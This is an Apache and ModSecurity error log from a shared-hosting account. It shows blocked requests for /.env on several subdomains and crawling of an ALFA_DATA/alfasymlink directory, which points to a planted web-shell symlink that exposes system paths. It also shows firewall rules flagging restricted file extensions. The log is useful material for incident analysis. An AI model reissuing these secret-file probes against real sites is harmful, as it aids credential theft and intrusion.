[Mon Oct 26 08:43:00.279251 2026] [security2:error] [pid 3015803:tid 3015803] [client 107.172.76.131:53790] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9KyKXMILbsMtUzObzLCQAAAAg"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 08:43:00.279304 2026] [security2:error] [pid 3015803:tid 3015803] [client 107.172.76.131:53790] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9KyKXMILbsMtUzObzLCQAAAAg"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 08:43:06.258772 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 34.224.132.215:3079] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:43:22.276755 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 52.70.123.241:38507] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:43:26.452328 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 52.0.63.151:23963] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:43:28.346397 2026] [core:error] [pid 3032274:tid 3032274] (13)Permission denied: [client 85.208.96.204:14712] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_dir_entry/slabs
[Mon Oct 26 08:43:30.377664 2026] [ssl:error] [pid 3031755:tid 3031755] (70014)End of file found: [client 98.83.10.183:37296] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:43:34.349208 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 54.83.56.1:62449] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:43:42.650705 2026] [core:error] [pid 3019667:tid 3019667] (13)Permission denied: [client 185.191.171.10:51046] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/slabs_cpu_partial
[Mon Oct 26 08:43:43.295260 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 52.3.156.186:46863] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:43:46.317302 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 35.171.117.160:3349] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:43:50.595119 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 35.169.102.85:12590] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:44:10.389848 2026] [security2:error] [pid 3024447:tid 3024447] [client 43.155.27.244:47130] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/scrapeproxiesok.php"] [unique_id "at9LGhA_yAFS6UHz-l1VfAAAAA0"]
[Mon Oct 26 08:44:10.705205 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 3.213.46.222:16882] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:44:14.671197 2026] [security2:error] [pid 3027735:tid 3027735] [client 130.12.180.167:21152] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9LHnT09R7Np-FQ85dj_QAAAAo"]
[Mon Oct 26 08:44:14.671545 2026] [security2:error] [pid 3027735:tid 3027735] [client 130.12.180.167:21152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9LHnT09R7Np-FQ85dj_QAAAAo"]
[Mon Oct 26 08:44:14.671874 2026] [security2:error] [pid 3027735:tid 3027735] [client 130.12.180.167:21152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9LHnT09R7Np-FQ85dj_QAAAAo"]
[Mon Oct 26 08:44:18.562149 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 52.70.123.241:28765] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:44:22.575406 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 52.0.105.244:20692] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:44:26.627424 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 54.204.12.115:55566] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:44:34.472329 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 18.214.124.6:56783] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:44:42.274531 2026] [security2:error] [pid 3024443:tid 3024443] [client 130.12.180.167:36898] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9LOg9c_Zz9LocrxF9e4wAAAAU"]
[Mon Oct 26 08:44:42.274822 2026] [security2:error] [pid 3024443:tid 3024443] [client 130.12.180.167:36898] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9LOg9c_Zz9LocrxF9e4wAAAAU"]
[Mon Oct 26 08:44:42.275172 2026] [security2:error] [pid 3024443:tid 3024443] [client 130.12.180.167:36898] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9LOg9c_Zz9LocrxF9e4wAAAAU"]
[Mon Oct 26 08:44:42.536507 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 3.209.174.110:7141] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:44:46.669921 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 98.82.66.172:42499] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:44:58.451804 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 52.2.58.41:46230] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:45:02.576027 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 34.225.138.57:4844] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:45:06.526703 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 184.72.95.195:28016] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:45:14.451384 2026] [ssl:error] [pid 3032273:tid 3032273] (70014)End of file found: [client 35.169.240.53:54393] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:45:18.545637 2026] [core:error] [pid 3032274:tid 3032274] (13)Permission denied: [client 54.225.98.148:33883] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/device:01/PNP0B00:00/physical_node/driver/00:00/subsystem/drivers/serial/unbind
[Mon Oct 26 08:45:26.583122 2026] [core:error] [pid 3024447:tid 3024447] (13)Permission denied: [client 35.171.141.42:63722] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1a/subsystem/drivers/ac/unbind
[Mon Oct 26 08:45:42.843149 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 23.23.212.212:9282] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:45:50.545355 2026] [ssl:error] [pid 3032273:tid 3032273] (70014)End of file found: [client 52.200.58.199:2355] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:45:58.595739 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 54.225.199.17:22041] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:46:10.990380 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 54.157.84.74:8850] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:46:22.594948 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 23.21.228.180:8835] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:46:30.748427 2026] [core:error] [pid 3023736:tid 3023736] (13)Permission denied: [client 3.232.39.98:58664] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/device:19/subsystem/drivers/ac/bind
[Mon Oct 26 08:46:34.731912 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 18.211.39.188:23348] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:46:47.355376 2026] [ssl:error] [pid 3032273:tid 3032273] (70014)End of file found: [client 54.243.63.52:61908] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:46:50.940154 2026] [core:error] [pid 3023736:tid 3023736] (13)Permission denied: [client 18.232.12.157:59152] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/PNP0501:00/subsystem/devices/device:12/eject
[Mon Oct 26 08:46:54.913832 2026] [core:error] [pid 3015725:tid 3015725] (13)Permission denied: [client 44.207.69.106:21537] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:07/subsystem/drivers/hardware_error_device/unbind
[Mon Oct 26 08:47:02.761059 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 3.232.39.98:11969] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:47:11.305583 2026] [core:error] [pid 3023736:tid 3023736] (13)Permission denied: [client 54.235.191.179:13625] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1f/eject
[Mon Oct 26 08:47:15.060157 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 23.21.179.120:46133] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:47:22.739805 2026] [core:error] [pid 3024447:tid 3024447] (13)Permission denied: [client 34.194.95.99:48728] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/device:01/PNP0700:00/physical_node/firmware_node/subsystem/drivers/button/bind
[Mon Oct 26 08:47:26.840980 2026] [core:error] [pid 3027735:tid 3027735] (13)Permission denied: [client 3.89.170.186:34406] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/drivers/button/uevent
[Mon Oct 26 08:47:31.156961 2026] [ssl:error] [pid 3031755:tid 3031755] (70014)End of file found: [client 3.210.29.96:31287] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:47:34.990945 2026] [ssl:error] [pid 3032262:tid 3032262] (70014)End of file found: [client 44.215.231.15:30605] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:47:35.891859 2026] [security2:error] [pid 3024444:tid 3024444] [client 107.172.76.131:53788] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9L2G8sSiC0F8_VnnVXEwAAAAk"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 08:47:35.891910 2026] [security2:error] [pid 3024444:tid 3024444] [client 107.172.76.131:53788] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9L2G8sSiC0F8_VnnVXEwAAAAk"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 08:47:38.907634 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 35.174.141.243:42315] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:47:40.853349 2026] [core:error] [pid 3027735:tid 3027735] (13)Permission denied: [client 185.191.171.4:30144] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCPv6/align
[Mon Oct 26 08:47:46.882231 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 98.82.214.73:7611] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:47:55.206018 2026] [core:error] [pid 3032274:tid 3032274] (13)Permission denied: [client 35.170.205.140:30007] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/subsystem/drivers_probe
[Mon Oct 26 08:47:58.990150 2026] [core:error] [pid 3027735:tid 3027735] (13)Permission denied: [client 54.197.178.107:60494] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0c/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/rescan
[Mon Oct 26 08:48:02.953349 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 18.213.102.186:17189] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:48:11.067292 2026] [ssl:error] [pid 3032262:tid 3032262] (70014)End of file found: [client 52.200.54.136:64431] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:48:15.536670 2026] [ssl:error] [pid 3032274:tid 3032274] (2)No such file or directory: [client 50.16.248.61:17237] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:48:19.250938 2026] [core:error] [pid 3027735:tid 3027735] (13)Permission denied: [client 3.89.170.186:57924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:20/subsystem/drivers/ac/unbind
[Mon Oct 26 08:48:23.116635 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 107.20.181.148:60858] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:48:27.137967 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 34.199.252.22:31464] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:48:34.896513 2026] [security2:error] [pid 3023393:tid 3023393] [client 107.172.76.131:53785] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9MFxuQQn9l7nrKN7L6UAAAABo"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 08:48:34.896558 2026] [security2:error] [pid 3023393:tid 3023393] [client 107.172.76.131:53785] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9MFxuQQn9l7nrKN7L6UAAAABo"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 08:48:35.235437 2026] [core:error] [pid 3032272:tid 3032272] (13)Permission denied: [client 98.84.70.201:7635] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/xen-platform-pci/remove_id
[Mon Oct 26 08:48:47.181717 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 3.229.164.203:11036] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:48:48.447755 2026] [security2:error] [pid 3015725:tid 3015725] [client 16.216.88.202:6144] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sestatus.conf"] [unique_id "at9MMAbLerFfv4dhcWT2JQAAAAY"]
[Mon Oct 26 08:48:48.448303 2026] [security2:error] [pid 3015725:tid 3015725] [client 16.216.88.202:6144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sestatus.conf"] [unique_id "at9MMAbLerFfv4dhcWT2JQAAAAY"]
[Mon Oct 26 08:48:48.448706 2026] [security2:error] [pid 3015725:tid 3015725] [client 16.216.88.202:6144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sestatus.conf"] [unique_id "at9MMAbLerFfv4dhcWT2JQAAAAY"]
[Mon Oct 26 08:48:51.383412 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 3.220.70.171:10087] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:48:55.265058 2026] [core:error] [pid 3026994:tid 3026994] (13)Permission denied: [client 18.232.11.247:21641] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/remove
[Mon Oct 26 08:48:59.243252 2026] [ssl:error] [pid 3032262:tid 3032262] (70014)End of file found: [client 52.0.218.219:13027] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:49:03.282513 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 54.166.126.132:58085] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:49:07.251346 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 52.3.102.51:27416] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:49:15.455711 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 44.210.204.255:35190] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:49:23.247073 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 34.196.114.170:54656] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:49:27.363351 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 98.84.70.201:10737] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:49:28.743101 2026] [core:error] [pid 3031755:tid 3031755] (13)Permission denied: [client 85.208.96.208:51700] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/align
[Mon Oct 26 08:49:31.275109 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 52.70.123.241:18455] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:49:39.460565 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 34.206.193.60:34137] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:49:43.302067 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 34.234.197.175:59821] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:49:47.305028 2026] [ssl:error] [pid 3031755:tid 3031755] (70014)End of file found: [client 54.162.69.192:61097] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:49:47.305222 2026] [security2:error] [pid 3031755:tid 3031755] [client 54.162.69.192:61097] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:01.3/uevent"] [unique_id "at9Ma3hYESb98d-GXViK2wAAAAs"]
[Mon Oct 26 08:49:47.305257 2026] [security2:error] [pid 3031755:tid 3031755] [client 54.162.69.192:61097] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:01.3/uevent"] [unique_id "at9Ma3hYESb98d-GXViK2wAAAAs"]
[Mon Oct 26 08:49:51.457730 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 52.22.64.232:49955] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:49:55.376541 2026] [ssl:error] [pid 3032262:tid 3032262] (70014)End of file found: [client 54.163.136.244:61681] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:49:59.874103 2026] [ssl:error] [pid 3032273:tid 3032273] (70014)End of file found: [client 54.210.155.69:4581] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:50:03.377404 2026] [ssl:error] [pid 3031755:tid 3031755] (70014)End of file found: [client 3.224.215.150:15166] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:50:08.002707 2026] [core:error] [pid 3024443:tid 3024443] (13)Permission denied: [client 100.28.44.58:14985] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/PNP0501:01/subsystem/drivers_probe
[Mon Oct 26 08:50:11.784294 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 44.195.50.71:3551] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:50:19.569344 2026] [ssl:error] [pid 3032273:tid 3032273] (70014)End of file found: [client 34.239.197.197:21987] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:50:23.635831 2026] [core:error] [pid 3031755:tid 3031755] (13)Permission denied: [client 50.17.193.48:17877] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory20/node0/cpu0/firmware_node/physical_node/driver/bind
[Mon Oct 26 08:50:25.220090 2026] [core:error] [pid 3024443:tid 3024443] (13)Permission denied: [client 185.191.171.19:49620] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/cache_dma
[Mon Oct 26 08:50:32.959184 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 54.90.244.132:30853] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:50:35.648483 2026] [ssl:error] [pid 3032273:tid 3032273] (70014)End of file found: [client 3.215.221.125:34255] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:50:39.632646 2026] [ssl:error] [pid 3031755:tid 3031755] (22)Invalid argument: [client 52.54.249.218:30037] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:50:48.102956 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 52.45.194.165:61986] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:50:51.640074 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 35.174.253.85:2628] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:51:11.046410 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 85.208.96.198:20034] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:51:15.790494 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 18.205.91.101:55270] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:51:19.689686 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 18.207.79.144:41515] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:51:27.695977 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 23.23.137.202:63702] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:51:31.755278 2026] [core:error] [pid 3027735:tid 3027735] (13)Permission denied: [client 18.211.148.239:49574] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/driver/module/uevent
